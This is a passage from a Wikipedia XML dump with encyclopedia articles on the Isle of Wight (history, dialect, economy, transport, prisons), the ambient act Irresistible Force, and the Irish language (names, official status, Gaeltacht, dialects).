The [[Norman Conquest]] created the position of [[Lord of the Isle of Wight]]. [[Carisbrooke Priory]] and the fort of [[Carisbrooke Castle]] were founded.  The island did not come under full control of the crown until it was sold by the dying last Norman Lord, Lady Isabella de Fortebus, to [[Edward I of England|Edward I]] in [[1293]].  The Lordship thereafter became a Royal appointment with a brief interruption when [[Henry de Beauchamp, 1st Duke of Warwick]] was crowned King of the Isle of Wight, [[Henry VI of England|King Henry VI]] assisting in person at the ceremony, placing the crown on his head. He died in [[1445]], aged 22. With no male heir, his regal title expired with him.

[[Henry VIII of England|Henry VIII]], who developed the [[Royal Navy]] and its permanent base at [[Portsmouth]], fortified the island at Yarmouth, East &amp; West Cowes and Sandown, sometimes re-using stone from dissolved monasteries as building material. Sir Richard Worsley, Captain of the Island at this time, successfully commanded the resistance to the last of the French attacks in [[1545]].  Much later on after the [[Spanish Armada]] in [[1588]] the threat of Spanish attacks remained, and the outer fortifications of Carisbrooke Castle were built between [[1597]] and [[1602]]. During the [[English Civil War]] [[Charles I of England|King Charles]] fled to the Isle of Wight believing he would receive sympathy from the governor Robert Hammond.  Hammond was appalled, and incarcerated the king in Carisbrooke Castle.

[[Image:Osborne-house1.jpg|thumb|250px|[[Osborne House]] and its magnificent grounds are now open to the public]]

[[Victoria of the United Kingdom|Queen Victoria]] made [[Osborne House]] on the Isle of Wight her summer home for many years, and as a result it become a major holiday resort for members of European royalty, whose many houses could later claim descent from her through the widely flung marriages of her offspring.  During her reign in [[1897]] the World's first [[radio]] station was set up by [[Guglielmo Marconi|Marconi]] at the Needles battery at the western tip of the Island.

In [[1904]] a mysterious illness began to kill [[honeybee]] colonies on the island, and had nearly wiped out all hives by [[1907]] when the [[disease]] jumped to the mainland, and decimated [[beekeeping]] in the [[British Isles]]. Called the Isle of Wight Disease, the cause of the mystery ailment was not identified until [[1921]] when it was traced to the [[mite]] ''[[Acarapis woodi]]''.  The disease (now called [[Acarine Disease]]) frightened many other nations because of the importance of bees in [[pollination]] of many food plants. Laws against importation of honeybees were passed, but this merely delayed the eventual spread of the parasite to the rest of the world.  

The [[Isle of Wight Festival]] could describe several events, but usually the term refers to one very large [[Isle of Wight Festival|rock festival]] that took place near [[Afton Down]], West Wight in [[1970]], following two smaller concerts in [[1968]] and [[1969]]. The [[1970]] show was notable for being the last public performance by [[Jimi Hendrix]] before his death and the number of attendees reaching, by many estimates 600,000[http://movies.msn.com/movies/movie.aspx?m=32552] despite only 50,000 tickets being sold and overtaking the attendance at [[Woodstock]] in the previous year. The festival was revived in [[2002]] and is now an annual event - with other, smaller musical events of many different genres across the Island becoming associated with it.

==Politics==
''Main article: [[Politics of the Isle of Wight]]''

The Isle of Wight is a [[Ceremonial counties of England|Ceremonial]] and [[Metropolitan and non-metropolitan county|Administrative]] county and as it has no district councils (only the county council) it is effectively a [[Unitary authority|Unitary]] county, though not officially. It is unique in England in this way - all other Unitary areas are single districts with no county council, while the Isle of Wight is the other way round. It also has a single [[Member of Parliament]], and is by far the most populous [[constituency]] in the UK (more than 50% above the average of English constituencies).

[[Image:iwclogo1.gif|thumb|100px|right|[[Isle of Wight Council]] logo]]

As a constituency of the [[House of Commons]] it is traditionally a battleground between the [[Conservative Party (UK)|Conservatives]] and the [[Liberal Democrats (UK)|Liberal Democrats]]. The current MP, [[Andrew Turner]] is a Conservative, and his predecessor Dr [[Peter Brand]] was a Liberal Democrat.

The [[Isle of Wight Council]] election of [[2005]] was a landslide victory for the [[Conservative Party (UK)|Conservative]] party, displacing the long serving &quot;Island First&quot; group; a coalition of [[Liberal Democrats (UK)|Liberal Democrats]] and independents.

==Language and dialect==

The distinctive Isle of Wight accent is a somewhat stronger version of the traditional Hampshire [[dialect]], featuring the dropping of some [[consonant]]s and an emphasis on longer [[vowel]]s. This is similar to the [[West Country]] drawl heard in south-western England, but less removed in sound from the [[Estuary English]] of the South East.  The spread of the latter in general, together with continuing immigration, means the broader accent is more prevalent in the older population.  

The island also has its own lexical style.  Some words like ''grockel'' (visitor) and ''nipper/nips'' (addressing a younger person) are commonly used and are shared with neighbouring regions. Others are unique, for example ''overner'' (a mainlander who has settled on the island), Other words are more obscure, being little used outside some of the families long resident on the island, such as ''mallishag'' (meaning [[caterpillar]]) and ''nammit'' (meaning food).

==Industry and agriculture==

The largest industry on the Isle of Wight is tourism, but the Island has a strong agricultural heritage, including sheep, dairy farming and arable crops.  Traditional agricultural commodities are more difficult to market off the Island because of transport costs, but Island farmers have managed to successfully exploit some specialist markets. The high price of these products overcomes the transport costs. One of the most successful agricultural sectors at present is crops grown undercover, particularly salad  crops including tomatoes and cucumbers. The Isle of Wight has a longer growing season than much of [[Britain]], and this also favours such crops. [[Garlic]] has been successfully grown in [[Newchurch, Isle of Wight|Newchurch]] for many years, and is even exported to [[France]]. This has led to the establishment of an annual [[Garlic Festival]] at Newchurch, which is one of the largest events of the Island's annual calendar. The favourable climate has led to the success of [[vineyard]]s, including one of the oldest in the British Isles, at Adgestone near [[Sandown]] [http://www.english-wine.co.uk/]. [[Lavender]] is also grown for its oil [http://www.lavender.co.uk/].

The making of sailcloth, boats and other connected maritime industry has long been associated with the island, although somewhat diminished in recent years.  Although they have reduced the extent of the plants and workforce, including the sale of the main site, [[GKN plc|GKN]] operate what was once the [[British Hovercraft Corporation]] a subsidiary of, and latterly when manufacturing focus changed known as, [[Westland Aircraft]].  Prior to its purchase by Westland, it was the independent [[Saunders-Roe]]. It remains one of the most notable historical firms; having produced many of the [[flying boats]], and the world's first [[hovercraft]]. The island's major manufacturing activity today is in composite materials including a large manufacturer of wind turbine blades, Vesta's.

Bembridge airfield on the island is the home of [[Britten-Norman]], manufacturers of the world famous [[Britten-Norman Islander | Islander]] and [[Britten-Norman Trislander|Trislander]] aircraft.  This is shortly to become the site of the European assembly line for [[Cirrus Design | Cirrus]] light aircraft.

A major contribution to the local economy comes from the world-famous international [[sailing]] [[regatta]], [[Cowes Week]], which is held every August and attracts over a hundred thousand visitors to the island. Other major sailing events are held at Cowes, including the [[Admiral's Cup]] held biennially in July and the [[Commodores' Cup]] in August.

In [[2005]], [[Northern Petroleum]] began exploratory drilling for [[petroleum|oil]] with its Sandhills-2 borehole at Porchfield, but ceased operations in October that year after failing to find significant reserves.

===Tourism and heritage===

[[Image:Isle of Wight.jpg|250px|thumb|right|Compton Chine, looking east towards Blackgang]]
The heritage of the Island is a major asset which has for many years kept its economy going. Holidays focussed on natural heritage, including both wildlife and geology, are becoming a growing alternative to the traditional [[seaside resort]] holiday. The latter has been in decline in the UK domestic market due to the increased affordability of air travel to alternative destinations.

Tourism is still the largest industry on the Island, As well as more traditional tourist attractions, the island is often host to walking or cycling holidays through the attractive scenery. Almost every town and village on the Island plays host to hotels, hostels and camping sites. Out of the peak summer season, the island is still an important destination for coach tours from other parts of [[Britain]] and an annual walking festival has attracted considerable interest.

=== Transport and communications ===
[[Image:Wight map.png|right|thumb|300px|Ferry routes and main roads]]
There are three ferry companies which operate routes between the mainland and the Island:
* [[Red Funnel]] - operates a car and passenger service between [[Southampton]] and East [[Cowes]]. A high speed passenger only services operates from &quot;West&quot; [[Cowes]] under the name of &quot;Red Jet&quot;.
* [[Wightlink]] - operates a car and passenger service between [[Portsmouth]] and [[Fishbourne, Isle of Wight|Fishbourne]] (near [[Ryde]]), and between [[Lymington]] and [[Yarmouth, Isle of Wight|Yarmouth]]. It also operates a passenger-only service between [[Portsmouth Harbour railway station|Portsmouth Harbour]] (train station) and [[Ryde Pier|Ryde Pier Head]] (train station) under the name &quot;Fast Cat&quot;, so named because the boats used are [[Catamaran|catamarans]].
* [[Hovertravel]] - carries passengers between [[Southsea]] and [[Ryde]] aboard a [[hovercraft]].

There are regular proposals for further routes, and during [[Cowes Week]] additional services have been known to operate - notably a fast catamaran service between West Cowes and Lymington.

A [[Island Line, IOW|railway service]] operates from Ryde Pier Head to [[Shanklin]] using ex [[London Underground]] rolling stock.

A sign used to greet visitors to the Island disembarking from the car ferry at [[Fishbourne, Isle of Wight|Fishbourne]], stating 'Island roads are different, please drive carefully'. It is a joke amongst local residents that the reason Island roads are different is due to a lack of maintenance by the council. Nevertheless the lighter traffic, quieter roads and slower speeds are noticeable to the visitor and are one of the reasons the Island has remained attractive to tourists from the busier mainland.

There are two small airfields for General Aviation, at Sandown and Bembridge.  These are busy with day-trippers in summer.

All of the Island telephone exchanges are broadband enabled and in addition, some urban areas such as [[Cowes]] and [[Newport]] are covered by cable lines.

The [[Isle of Wight County Press]] [http://www.iwcp.co.uk/] is the major local newspaper, published weekly each Friday or the last working day before a public holiday falls on that day. There is also a local radio station, [[Isle of Wight Radio]] [http://www.iwradio.co.uk], broadcasting on 107 and 102 FM (also available over the internet), and a regional television station which broadcasts from the Island, [[Solent TV]] [http://www.solent.tv].

==Prisons==

The island geography close to the densely populated south of England led to it gaining three prisons: [[Albany Prison UK|Albany]], [[Camphill Prison|Camphill]] and [[Parkhurst prison|Parkhurst]] located outside Newport on the main road to Cowes.  Albany and Parkhurst were once among the few Category A prisons in the [[UK]] until they were downgraded in the 1990s.  The downgrading of Parkhurst was precipitated by a major escape: three prisoners (known to be some of the most dangerous murderers in the prison system) made their way out of the prison on 3 January 1995 to enjoy four days of freedom before being recaptured.  Parkhurst especially enjoyed notoriety as one of toughest jails in the British Isles and &quot;hosted&quot; many notable inmates, including the Yorkshire Ripper [[Peter Sutcliffe]] and the [[Kray twins]]. 

Camphill is located 1 mile (1.6Km) to the west of Albany and Parkhurst, on the very edge of [[Parkhurst Forest]]. Originally an army barracks with a small estate of tree-lined roads with well-proportioned officer's houses (with varying grandeur according to rank) to the South and East. Having been converted to a [[borstal]] and later a low category prison, it maintains its ties to the housing around it as although now most privately owned, clean water is still provided from the prison itself and residents pay only sewerage fees to the water authority (Southern Water). The estate is accessed by two, gated, private roads. These are closed for one day each year so as not to become a public right of way.

==Education==
{{Template:Main|Education on the Isle of Wight}}

==Settlements==
{{Main|List of places on the Isle of Wight}}

==Selected places of interest==

&lt;div style=&quot;float:right;&quot;&gt;
{{EngPlacesKey}}
&lt;/div&gt;

*[[Alum Bay]]
*[[Appuldurcombe House]] [[Image:EH icon.png|English Heritage]]
*[[Blackgang Chine]]
*[[Carisbrooke Castle]] [[Image:EH icon.png|English Heritage]]
*[[Dinosaur Isle]] [[Image:Museum icon (red).png|Museum]]
*[[Golden Hill Fort]] [[Image:CP icon.png|Country Park]]
*[[Fort Victoria (Isle of Wight)|Fort Victoria]] [[Image:CP icon.png|Country Park]]
*[[Isle of Wight Steam Railway]] [[Image:HR icon.png|Heritage Railway]]
*[[Osborne House]] [[Image:EH icon.png|English Heritage]]
*[[The Needles]] [[Image:NTE icon.png|National Trust]]
*[[Yarmouth Castle]] [[Image:EH icon.png|English Heritage]]
*[[Quarr Abbey]]

==Notable literary and musical references==

*[[The Beatles]]' &quot;When I'm Sixty-Four&quot;, written by [[Paul McCartney]], refers to a rented summer cottage on the Isle of Wight.
*[[Ticket to Ride]], the [[The Beatles|Beatles]] classic, is a pun on 'Ticket to Ryde', the ferry port to the North of the Island.
*Called ''The Island'' in some editions of [[Thomas Hardy]]'s novels in his fictional [[Wessex]].
*In a similar fashion the island, with fictionalized placenames, is the setting of [[Maxwell Gray]]'s [[1886]] novel, ''The Silence of Dean Maitland'' [http://www.sakoman.net/gutenberg/1/0/9/9/10993/10993.txt].
*The Isle of Wight is the setting of [[Julian Barnes|Julian Barnes's]] novel ''[[England, England]]''.
*The island also features in [[John Wyndham|John Wyndham's]] novel ''[[The Day of the Triffids]]'' and [[Simon Clark]]'s sequel to it, ''[[The Night of the Triffids]]''.
*[[Robert Rennick]] has written a series of detective thrillers set on the Island, including ''The Fallen''
*In radio series [[Nebulous]], the Isle of Wight has been accidently disintegrated by Professor Nebulous while he was trying to move it slightly to the left.
*In the game [http://www.warbirdart.demon.co.uk/treasure.html spirit of the stones] the talismans are hidden on the Isle of Wight. The computer game by commodore is also set on the Isle of Wight
*In the ''[[Doctor Who]]'' [[List of Doctor Who serials|episode]] [[Father's Day (Doctor Who)|Father's Day]], [[Doctor (Doctor Who)|the Doctor]] remarks ''The past is another country, 1987 is just the Isle of Wight''.

==References==

*[[Hansard]], Wednesday 14th November 2001 column 850
*[[Isle of Wight County Press]] [http://www.iwcp.co.uk/]

==External links==
{{commons|Category:Isle of Wight}}
* [http://www.iwight.com/ Isle of Wight Council]
* [http://www.wightindex.com/ Isle of Wight information &amp; accommodation]
* [http://world.nycsubway.org/eu/uk/wight.html A page about Island Line]
* [http://www.iwcp.co.uk/ Isle Of Wight County Press]
* [http://www.wightphotos.co.uk/ The Island by local photographers]
* [http://www.aferry.co.uk/ukferry/ferry-to-isle-of-wight-uk.htm All Isle of Wight Ferries]
* [http://www.channel4.com/history/timeteam/archive/timeteamlive2001/feature_jutes.html The Jutes in Hampshire and the Isle of Wight]
* [http://www.channel4.com/history/timeteam/archive/timeteamlive2001/feature_ethnic.html Were the West Saxons guilty of ethnic cleansing?]
* [http://members.lycos.co.uk/bartie/ Old Isle of Wight Postcards and Pictures]
* [http://islandgamers.net Island Gamers Community]
* [http://members.lycos.co.uk/bartieshover/ Hovercraft of the 1960/1970s from the Isle of Wight area]
* [http://iw-paths.cjb.net/ Foot- and Cycle- Paths of the Isle of Wight, with other useful information]

{{Isle of Wight box}}

{{England_counties}}

{{SE_England}}

[[Category:Isle of Wight|*]]
[[Category:Islands in English Channel]]
[[Category:Unitary authorities in England]]

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[[et:Wight]]
[[es:Isla de Wight]]
[[eo:Isle of Wight]]
[[fr:Île de Wight]]
[[it:Isola di Wight]]
[[ja:ワイト島]]
[[nl:Wight]]
[[no:Wight]]
[[pt:Ilha de Wight]]
[[simple:Isle of Wight]]
[[sk:Wight]]
[[fi:Wightsaari]]
[[sv:Isle of Wight]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Intlwiki-L</title>
    <id>15103</id>
    <revision>
      <id>15912610</id>
      <timestamp>2004-04-02T01:53:49Z</timestamp>
      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <comment>no longer exists. redirect Wikipedia:Mailing lists</comment>
      <text xml:space="preserve">#redirect [[Wikipedia:Mailing lists]]</text>
    </revision>
  </page>
  <page>
    <title>Irresistible Force (production identity)</title>
    <id>15104</id>
    <revision>
      <id>15912611</id>
      <timestamp>2005-05-04T11:47:46Z</timestamp>
      <contributor>
        <username>Pablo-flores</username>
        <id>36245</id>
      </contributor>
      <minor />
      <comment>preparing for move</comment>
      <text xml:space="preserve">'''Irresistible Force''' is the production identity for UK [[ambient]] DJ [[Mixmaster Morris]].

The first release under this name was the single ''I Want To'' in 1988, but success came with the first album, ''[[Flying High (album)|Flying High]]'', released in 1992 on [[Rising High Records]]. 1994 saw the second album ''[[Global Chillage]]'' with its distinctive hologram sleeve, which got a US release on [[Astralwerks]]. There followed a period of legal [[limbo]] before the third album ''[[It's Tomorrow Already]]''.

A fourth album is expected to be released by Ninja Tune in 2004.</text>
    </revision>
  </page>
  <page>
    <title>Irish language</title>
    <id>15105</id>
    <revision>
      <id>42068264</id>
      <timestamp>2006-03-03T16:23:59Z</timestamp>
      <contributor>
        <username>NBS525</username>
        <id>372343</id>
      </contributor>
      <minor />
      <comment>/* Irish in education */</comment>
      <text xml:space="preserve">{{Infobox Language
  |name=Irish
  |nativename=Gaeilge
  |pronunciation=ˈgeːlʲgʲə
  |states=[[Ireland]], [[Canada]] (mainly in [[Newfoundland]]), and [[USA]].
  |region=[[Gaeltacht|Gaeltachtaí]]
  |speakers=est. 100,000 to 2 million (see [[#Irish language today|below]])
  |script=[[Latin alphabet|Latin]] ([[Irish orthography|Irish variant]])
  |familycolor=Indo-European
  |fam2=[[Celtic languages|Celtic]]
  |fam3=[[Insular Celtic languages|Insular Celtic]]
  |fam4=[[Goidelic languages|Goidelic]]
  |nation=[[Ireland]], [[Northern Ireland]] (as of [[May 23]], 1998), [[European Union]] (as of [[January 1]], 2007)
  |agency=[[Foras na Gaeilge]]
  |iso1=ga
  |iso2=gle
  |iso3=gle
}}

'''Irish''' (''Gaeilge''), a [[Goidelic languages|Goidelic language]] spoken in the [[Republic of Ireland]], the [[United Kingdom]], [[Canada]] and the [[United States]], is [[Constitution of Ireland|constitutionally]] recognized as the first official language of the Republic of Ireland. On [[13 June]], 2005, EU foreign ministers unanimously decided to make Irish an official [[Languages of the European Union|working language]] of the [[European Union]]. The new arrangements will come into effect on [[January 1]], 2007.

According to statistics released by the [[Government of Ireland]] in 2004, there are approximately 1.6 million speakers of Irish in the Republic. Of these, 350,000 use Irish every day, 155,000 weekly, 585,000 less often, 460,000 never, and 30,000 didn't state how often. However, these statistics are often disputed by Irish language activists and their opponents. 80,000 people has been quoted as the number of people in the [[Gaeltacht]] who use the language as their first, daily language&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;. Other data state that 165,000 can speak Irish in [[Northern Ireland]] and 25,000 in the United States.

For Irish English, see [[Hiberno-English]].

==Names of the language==

===In English===
The language is sometimes referred to in [[English language|English]] as '''Gaelic''' ([[International Phonetic Alphabet|IPA]]: {{IPA|/ˈgeɪlɪk/}}), or '''Irish Gaelic.''' This has generally been the common name for the language in the Irish diaspora. Within Ireland proper, it has inevitably acquired political significance. Referring to the language as &quot;Gaelic&quot; suggests that the language is as distant and unrelated to modern Irish life as the civilization of the ancient Gaels. Calling it ''Irish,'' on the other hand, indicates that it is and should be the proper national language of the Irish people, and this is the generally accepted term among scholars and in the Irish Constitution. Some [[Unionists]] insist that Gaelic is the correct term as dialects of the language are also spoken in parts of Scotland and insist that the term ''Irish Language'' is an invention by Irish [[nationalists]] to justify [[separatist]] claims from the rest of the [[British Isles]]

Use of the term ''Irish'' also avoids confusion with [[Scottish Gaelic language|Scottish Gaelic]] (''Gàidhlig''), and [[Manx Gaelic]] (''Gaelg''), the closely related languages spoken in [[Scotland]] and the [[Isle of Man]] and often referred to in English as simply ''Gaelic'' (IPA: {{IPA|/ˈgeɪlɪk/}} or {{IPA|/ˈgæːlɪk/}}). The archaic term '''[[Erse]]''', originally a [[Scots language|Scots]] form of the word ''Irish'', is no longer used and in most contexts is also considered derogatory.

It is a fact, however, that as late as the early part of the 18th century, the Scottish Highlanders still referred to their native language as &quot;Irish&quot;, as witnessed by a letter dated 21 July 1713 from a young Campbell, John, Lord Glenorchy at Christ Church, Oxford, to his grandfather, John, Earl of Breadalbane at Taymouth: &quot;I still take care about my Irish and some times meet with Sir Donald Macdonald's son, who is here, and another gentleman, when we talk nothing but Irish.&quot;  -- quoted in &quot;A Bit of Breadalbane&quot;, by Alastair Duncan Millar, The Pentland Press Ltd, 1995.

===In Irish===
In the ''Caighdeán Oifigiúil'' (the official written standard) the name of the language is '''Gaeilge''', which reflects the southern [[Connacht]] pronunciation {{IPA|/ˈgeːlʲgʲə/}}. Before the spelling reform of [[1948]], this form was spelled '''Gaedhilge'''; originally this was the [[genitive case|genitive]] of '''Gaedhealg''', the form used in classical Modern Irish. Older spellings of this include '''Gaoidhealg''' in Middle Irish and '''Goídelc''' in [[Old Irish language|Old Irish]].

Other forms of the name found in the various modern Irish dialects, in addition to south Connacht ''Gaeilge'' mentioned above, include '''Gaedhilic'''/'''Gaeilic'''/'''Gaeilig''' (pronounced {{IPA|/ˈgeːlʲəkʲ/}}) in [[County Donegal]] and parts of [[County Mayo]], '''Gaedhealaing'''/'''Gaoluinn'''/'''Gaelainn''' (pronounced {{IPA|/ˈgeːləŋʲ/}}) in [[Munster]], and '''Gaedhlag''' (pronounced {{IPA|/ˈgeːləg/}}) in [[Omeath]], [[County Louth]].

==Official status==
Irish is given recognition by the [[Constitution of Ireland]] as the first official language of the Republic of Ireland (with [[English language|English]] being a second official language), despite the limited distribution of fluency among the population of that country. Since the State was founded in the 1920s as the [[Irish Free State]] (see also ''[[History of the Republic of Ireland]]''), the [[Irish Government]] required a degree of proficiency in Irish for all [[Civil service of the Republic of Ireland|civil service]] positions (including postal workers, tax officials, agricultural inspectors, etc.), as well as for employees of state companies  (e.g. [[Aer Lingus]], [[RTE]], [[Electricity Supply Board|ESB]], etc).  Proficiency in Irish for entrance to the public service ceased to be a compulsory requirement in 1974, in part through the actions of protest organizations like the [[Language Freedom Movement]].  While the requirement was also dropped for wider public service jobs, such as teaching, Irish remains a required subject of study in all schools within the Republic which receive public money (see also ''[[Education in the Republic of Ireland]]''). The need for a pass in [[Leaving Certificate]] Irish for entry to the [[Gardaí]] (police) was dropped in September 2005, although applicants are given lessons in the language during the two years of training.  Most official documents of the Irish Government are published in both Irish and English.

The [[National University of Ireland, Galway]] is required to appoint a person who is competent in the Irish language, as long as they meet all other respects of the vacancy they are appointed to. This requirement is laid down by the [http://www.irishstatutebook.ie/ZZA35Y1929S3.html University College Galway Act, 1929 (Section 3)] and recently was subject of a [[High Court of the Republic of Ireland|High Court]] case on the matter[http://www.galwayindependent.com/news/3905.html] - it is expected that the requirement may be repealed in due course[http://www.education.ie/home/home.jsp?maincat=10861&amp;pcategory=10861&amp;ecategory=10876&amp;sectionpage=13637&amp;language=EN&amp;link=link001&amp;page=1&amp;doc=29800].

As a [[Languages of the European Union|treaty language of the European Union]], the highest-level documents of the EU are translated into Irish; in addition, the language has also recently received a degree of [[Irish language in Northern Ireland|formal recognition in Northern Ireland]] from the [[United Kingdom]], under the [[Belfast Agreement|Good Friday Agreement]].

Furthermore, Irish will become an official working language of the European Union beginning [[January 1]], [[2007]].

==Gaeltacht==

There are pockets of Ireland where Irish is spoken as a traditional, [[native language]]. These regions are known as the [[Gaeltacht]]. These are in [[County Galway]] (''Contae na Gaillimhe''), including [[Connemara]] (''Conamara'') and the [[Aran Islands]] (''na hOileáin Árann''); on the west coast of [[County Donegal]] (''Contae Dhún na nGall''; in the part which is known as ''Tyrconnell''/''Tír Chonaill''); and ''Corca Dhuibhne'' on the [[Dingle peninsula]] in [[County Kerry]] (''Contae Chiarraí''). Smaller ones also exist in [[County Mayo|Mayo]] (''Contae Mhaigh Eo''), [[County Meath|Meath]] (''Contae na Mí''), [[County Waterford|Waterford]] (''Contae Phort Láirge''), and [[County Cork|Cork]] (''Contae Chorcaí''). However, even within the Gaeltacht areas, the Irish-speaking populations have declined since the Gaeltacht boundaries were drawn up.

The numerically and socially strongest ''Gaeltacht'' areas are those of South ''Conamara'', the extreme west of ''Corca Dhuibhne'' and in and North West''Tír Chonaill'', in which a significant proportion of residents use Irish as a community language and in which children often speak the language among each other. These areas are often refered to as the ''Fíor-Ghaeltacht'' (Fíor=True) and collectively have a population of just under 10,000, of which over 80% use the language daily{{fact}}. The highest proportions of daily Irish speakers in the community are found in [[Ros Muc, Connemara]] (over 91%){{fact}}, and around [[Bloody Foreland]] (''Cnoc na Fola'') in ''Tír Chonaill'' (88-89%){{fact}}.

==Dialects==
There are a number of distinct dialects of Irish. Roughly speaking, the three major dialect areas coincide with the provinces of [[Munster]] (''Cúige Mumhan''), [[Connacht]] (''Cúige Chonnacht'') and [[Ulster]] (''Cúige Uladh'').

===Munster dialects===
{{main|Munster Irish}}
Munster Irish is spoken in the Gaeltachtaí of Kerry (''Contae Chiarraí''), Muskerry (''Múscraí''), [[Cape Clear]] (''Oileán Cléire'') in the western part of [[County Cork]] (''Contae Chorcaí''), and the tiny pocket of Irish-speakers in An Rinn near [[Dungarvan]] (''Dún Garbháin'') in County Waterford (''Contae Phort Láirge''). The most important subdivision in Munster is that between Decies Irish (spoken in Waterford) and the rest of Munster Irish. 

Some typical features of Munster Irish are:

# The use of personal endings instead of pronouns with verbs, thus &quot;I must&quot; is in Munster ''caithfead'', while other dialects prefer ''caithfidh mé'' (''mé'' means &quot;I&quot;). &quot;I was and you were&quot; is ''Bhíos agus bhís'' in Munster but ''Bhí mé agus bhí tú'' in other dialects.
# In front of nasals and &quot;ll&quot; some short vowels are lengthened while other are diphthongised.
# A copula-construction involving ''is ea'' is frequently used.

===Connacht dialects===
{{main|Connacht Irish}}
The strongest dialect of Connacht Irish is to be found in [[Connemara]] and the [[Aran Islands]]. In some regards this dialect is quite different from general Connacht Irish but since most Connacht dialects have died out during the last century Connemara Irish is sometimes seen as Connacht Irish. Much closer to the traditional Connacht Irish is the very threatened dialect spoken in the region on the border between Galway (''Gaillimh'') and Mayo (''Maigh Eo''). The Irish of [[Tourmakeady]] (''Tuar Mhic Éadaigh'') in southern Mayo (''Maigh Eo Theas'') and Joyce Country (''Dúthaigh Sheoige'') are considered the living Irish dialects closest to Middle Irish. Also, the northern Mayo dialect of Erris (''Iorras'') and [[Achill]] (''Acaill'') is in grammar and word-building essentially a Connacht dialect; but shows an affinity in vocabulary with Ulster Irish, due to large-scale immigration of dispossessed people following the [[Plantation of Ulster]].

Connemara Irish is very popular with learners, thanks to Mícheál Ó Siadhail's self-teaching textbook ''Learning Irish''. However, there are features in Connemara Irish outside the official standard—notably the preference for verbal nouns ending in -achan, such as ''lagachan'' instead of ''lagú'', &quot;weakening&quot;. The non-standard pronunciation with lengthened vowels and heavily reduced endings give Connemara Irish its distinct sound.

The distinguishing features of this dialect include the prounouncing of 'bh' as 'w', rather than as 'v' in other parts of the country: for example 'Ni raibh' is pronounced &quot;Ni raow&quot; in Connacht as opposed to &quot;Ni rev&quot; elsewhere. In addition Connacht speakers tend to put the &quot;we&quot; pronoun at the end of the verb rather than with the verb itself: for example &quot;Bhi muid&quot; is used for 'we were' instead of &quot;Bhiomar&quot; elsewhere. This has become a common teaching practice in schools as it is a much easier construction of any verb in the 'we' form.

Connacht Irish tends to be more widespread than any other dialect, as most Irish teachers tend to come from there, although, obviously, there are many exceptions.

===Ulster dialects===
{{main|Ulster Irish}}
The most important of the [[Ulster]] dialects today is that of the Rosses (''na Rosa''), which has been used extensively in literature by such authors as the brothers [[Séamus Ó Grianna]] and [[Seosamh Mac Grianna]], locally known as Jimí Fheilimí and Joe Fheilimí. This dialect is essentially the same as that in Gweedore (''Gaoth Dobhair''= Inlet of Streaming Water), the same dialect used by native speaker [[Enya]] (''Eithne'') and her siblings in [[Clannad]] (''Clann as Dobhar'' = Family from the Water).

Ulster Irish sounds very different and shares several unusual features with [[Scottish Gaelic]], as well as having lots of characteristic words and shades of meanings. However, since the demise of those Irish dialects spoken natively in what is today [[Northern Ireland]], it is probably an exaggeration to see Ulster Irish as an intermediary form between Scottish Gaelic and the southern and western dialects of Irish. Indeed, Scottish Gaelic does have lots of non-Ulster features in common with Munster Irish, too.

One noticeable trait of Ulster Irish is the use of the negative participle ''cha(n)'', in place of the Munster and Connaught version ''ní''. Even in Ulster, ''cha(n)'', most typical of Scottish Gaelic, has ousted the more common ''ní'' only in easternmost dialects (including the now defunct ones once spoken in what is now Northern Ireland). The practice seems to be that ''cha(n)'' is most usually used when answering to a statement, either confirming a negative statement (''Níl aon mhaith ann'' - ''Chan fhuil, leoga'' = &quot;It is no good&quot; - &quot;Indeed it isn't&quot;) or contesting an affirmative one (''Tá sé go maith'' - ''Chan fhuil!'' = &quot;It is good&quot; - &quot;No, it isn't!&quot;), while ''ní'' is preferred in answering a question (''An bhfuil aon mhaith ann?'' - ''Níl'' = &quot;Is it any good?&quot; - &quot;No&quot;).

===Other regions===
The dialects of Irish native to [[Leinster]], the fourth province of Ireland, became extinct during the [[20th century]], but records of some of these were made by the [[Irish Folklore Commission]] among other bodies prior to this.

The present-day Irish of Meath (in Leinster) is a special case. It belongs to the Connemara dialect, as the Irish-speaking community in Meath is simply a group of mostly Connemara speakers who moved there in the [[1930s]], after a land reform campaign spearheaded by [[Máirtín Ó Cadhain]] (subsequently one of the greatest modernist writers in the language).

In areas outside the traditional Gaeltacht, where standard Irish was learnt in schools, this has become the &quot;dialect&quot; of learners of the language. What has been called &quot;Dublin Irish&quot; or &quot;Gaelscoil Irish&quot; has also arisen, that is Irish poorly learnt and heavily influenced by English. English idioms are translated directly, e.g. &quot;Tabhair suas&quot; for Give up when the verb &quot;Lig&quot; should be used. English grammar is sometimes used straight when not applicable to Irish. Often, when the speaker doesn't know a word, the English will be substituted, sometimes with &quot;áil&quot; affixed. &quot;áil&quot; is generally an ending for the verbal noun of a verb, but when added to an English word, this becomes the stem, e.g. vótáil. Many &quot;Béarlachas&quot;(false Irish based on English) words and phrases are used, e.g. pioc, sórt, saghas, féar plé etc. Also, typical interjection words often used in English and especially English influenced by America are used, e.g. like, man, so, etc. are used un-translated in Irish.

Students in the Eastern part of Ireland tend to pronounce the Irish words in an English way rather than in a Gaelic way. This is possibly due to teaching inconsistency. The average Irish student would have twelve or thirteen different Irish teachers, each with a varying dialect.

===Comparisons===
The differences between dialects are considerable, and have led to recurrent difficulties in defining standard Irish. Even everyday phrases can show startling dialectal variation: the standard example is &quot;How are you?&quot;:

* Ulster: ''cad é mar atá tú?'' (&quot;what is it as you are?&quot; Note: ''caidé'' or ''goidé'' and sometimes ''dé'' are alternative renderings of ''cad é'')
* Connacht: ''cén chaoi a bhfuil tú?'' (&quot;what way [is it] that you are?&quot;)
* Munster: ''conas taoí?'' (&quot;how are you?&quot;)
* &quot;standard Irish&quot;: Conas a tá tú (&quot;how are you?&quot;)

In recent times, however, contacts between speakers of different dialects have become more common, and mixed dialects have originated. Nevertheless, many dialect speakers (especially Ulster) are still jealously trying to guard their own variety against influences from other dialects. Among non-native speakers, this can be seen as a quest for authenticity. Regional accents are commonly taught to non-natives and imitated: an urban non-native speaker of Irish in [[Cork]] City (''Cathair Chorcaí'') is very probably trying to emulate Coolea or Kerry dialect; one from [[Belfast]] (''Béal Feirste'') tends to speak an Irish modelled on the Rosses dialect of Donegal; and Galwegian Irish-speakers, living next door to Connemara, will do their best to sound like a Connemara native.

==Shelta==
There also exists a [[Cant (language)|cant]] called [[Shelta]], based partly on [[English language|English]] and partly Irish, in use by the [[Irish Traveller]]s.

==Linguistic structure==
